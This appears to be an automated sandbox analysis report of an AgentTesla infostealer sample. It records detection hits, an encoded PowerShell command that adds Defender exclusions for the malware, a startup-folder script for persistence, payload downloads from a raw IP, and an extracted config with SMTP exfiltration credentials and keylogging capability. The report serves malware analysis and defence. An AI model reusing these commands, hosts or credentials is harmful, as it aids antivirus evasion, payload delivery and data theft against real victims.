QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ParentProcessId: 6332, ParentProcessName: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZ

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 46.175.148.58, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, Initiated: true, ProcessId: 2560, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 65471

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4088, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs" , ProcessId: 6904, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ParentProcessId: 6332, ParentProcessName: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZ

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 628, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7092, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, ProcessId: 6332, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "25", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\page.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Virustotal: Detection: 20%			Perma Link
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	ReversingLabs: Detection: 21%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1227196476.0000000006A00000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003CDC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003BC8000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1227196476.0000000006A00000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003CDC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003BC8000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\

Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 4x nop then jmp 066F5098h		17_2_066F4FE0
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 4x nop then jmp 066F5098h		17_2_066F4FD8

Source: global traffic

TCP traffic: 192.168.2.7:65470 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Snscs.dat HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Snscs.dat HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 46.175.148.58 46.175.148.58
Source: Joe Sandbox View	IP Address: 196.251.83.222 196.251.83.222

Source: global traffic

TCP traffic: 192.168.2.7:65471 -> 46.175.148.58:25

Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222
Source: unknown	TCP traffic detected without corresponding DNS query: 196.251.83.222

Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Snscs.dat HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /win32/panel/uploads/Snscs.dat HTTP/1.1Host: 196.251.83.222Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: mail.iaa-airferight.com

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1204012379.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1588133995.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.251.83.222
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1204012379.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1588133995.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.251.83.222/win32/panel/uploads/Snscs.dat
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://196.251.83.222/win32/panel/uploads/Snscs.dat9Fetching
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1225300681.0000000006988000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootC
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crt0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000005.00000002.1116869554.0000000007B7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: svchost.exe, 0000000C.00000002.2078028974.0000018226400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0N
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.12.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.12.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: InstallUtil.exe, 00000008.00000002.1537687917.0000000002AA8000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000018.00000002.2075581936.0000000003366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.iaa-airferight.com
Source: powershell.exe, 00000005.00000002.1114571969.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0W
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000005.00000002.1111972085.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1111972085.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1204012379.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1111972085.0000000005291000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1588133995.0000000002B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1111972085.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000005.00000002.1111972085.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, page.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003F4E000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000008.00000002.1533662622.0000000000402000.00000040.00000400.00020000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003B38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: powershell.exe, 00000005.00000002.1111972085.0000000005291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000005.00000002.1114571969.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1114571969.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1114571969.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000C.00000003.1203603184.0000018226160000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000005.00000002.1111972085.00000000053E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000005.00000002.1114571969.00000000062F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.12.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1204012379.0000000002BEF000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp, page.exe, 00000011.00000002.1588133995.0000000002B5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, page.exe, 00000011.00000002.1607423851.0000000003BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

